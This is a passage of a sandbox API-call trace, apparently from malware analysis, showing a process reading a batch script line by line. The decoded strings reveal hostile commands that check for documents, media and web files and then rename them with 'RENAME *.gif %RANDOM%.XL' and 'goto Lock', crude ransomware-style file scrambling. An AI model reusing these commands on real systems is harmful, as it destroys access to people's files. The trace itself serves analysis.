dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0038.468] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.468] GetFileType (hFile=0x74) returned 0x1 [0038.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0038.468] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=4239, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0038.468] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto l2\r\n") returned 28 [0038.468] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0038.468] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.468] GetFileType (hFile=0x74) returned 0x1 [0038.468] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0038.469] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=4267, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0038.469] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto l2\r\n") returned 28 [0038.469] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0038.469] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.469] GetFileType (hFile=0x74) returned 0x1 [0038.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0038.469] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=4295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0038.469] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto l2\r\n") returned 28 [0038.469] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0038.469] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.469] GetFileType (hFile=0x74) returned 0x1 [0038.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0038.469] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=4324, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0038.469] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto l2\r\n\n") returned 29 [0038.469] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.469] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0038.470] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.470] GetFileType (hFile=0x74) returned 0x1 [0038.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0038.470] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=4352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0038.470] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto l2\r\n\n") returned 28 [0038.470] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0038.470] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.470] GetFileType (hFile=0x74) returned 0x1 [0038.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0038.470] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=4380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0038.470] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto l2\r\n") returned 28 [0038.470] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0038.470] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.470] GetFileType (hFile=0x74) returned 0x1 [0038.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0038.470] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.470] SetFilePointer (in: hFile=0x74, lDistanceToMove=4408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0038.470] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto l2\r\n") returned 28 [0038.470] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0038.471] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.471] GetFileType (hFile=0x74) returned 0x1 [0038.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0038.471] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=4436, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0038.471] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.wav goto l2\r\n") returned 28 [0038.471] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0038.471] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.471] GetFileType (hFile=0x74) returned 0x1 [0038.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1154 [0038.471] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=4464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0038.471] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.jpg goto l2\r\n") returned 28 [0038.471] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0038.471] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.471] GetFileType (hFile=0x74) returned 0x1 [0038.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1170 [0038.471] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=4492, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0038.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.png goto l2\r\n") returned 28 [0038.472] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0038.472] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.472] GetFileType (hFile=0x74) returned 0x1 [0038.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x118c [0038.472] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=4520, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0038.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.htm goto l2\r\n") returned 28 [0038.472] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0038.472] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.472] GetFileType (hFile=0x74) returned 0x1 [0038.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11a8 [0038.472] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=4549, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0038.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.html goto l2\r\n") returned 29 [0038.472] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0038.472] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.472] GetFileType (hFile=0x74) returned 0x1 [0038.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11c5 [0038.473] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=4555, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0038.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":gif\r\n EXIST *.html goto l2\r\n") returned 6 [0038.473] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0038.473] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.473] GetFileType (hFile=0x74) returned 0x1 [0038.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11cb [0038.473] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=4581, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0038.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.gif %RANDOM%.XL\r\n2\r\n") returned 26 [0038.473] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0038.473] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.473] GetFileType (hFile=0x74) returned 0x1 [0038.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e5 [0038.473] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=4583, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0038.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.gif %RANDOM%.XL\r\n") returned 2 [0038.473] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0038.473] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.473] GetFileType (hFile=0x74) returned 0x1 [0038.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11e7 [0038.474] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=4594, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0038.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nf %RANDOM%.XL\r\n") returned 11 [0038.474] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0038.474] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.474] GetFileType (hFile=0x74) returned 0x1 [0038.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f2 [0038.474] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=4600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0038.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":url\r\nock\r\n") returned 6 [0038.474] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0038.474] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.474] GetFileType (hFile=0x74) returned 0x1 [0038.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11f8 [0038.474] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=4626, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0038.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.url %RANDOM%.XL\r\n") returned 26 [0038.474] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0038.475] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.475] GetFileType (hFile=0x74) returned 0x1 [0038.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1212 [0038.475] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=4628, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0038.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nNAME *.url %RANDOM%.XL\r\n") returned 2 [0038.475] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0038.475] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.475] GetFileType (hFile=0x74) returned 0x1 [0038.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1214 [0038.475] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=4639, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0038.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nl %RANDOM%.XL\r\n") returned 11 [0038.475] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0038.475] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.475] GetFileType (hFile=0x74) returned 0x1 [0038.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x121f [0038.475] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=4645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0038.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":zip\r\nock\r\n") returned 6 [0038.476] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0038.476] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.476] GetFileType (hFile=0x74) returned 0x1 [0038.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1225 [0038.476] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=4647, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0038.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nip\r\n") returned 2 [0038.476] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0038.476] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.476] GetFileType (hFile=0x74) returned 0x1 [0038.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1227 [0038.476] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0038.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=4673, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1241 [0038.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.zip %RANDOM%.XL\r\n") returned 26 [0038.476] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | 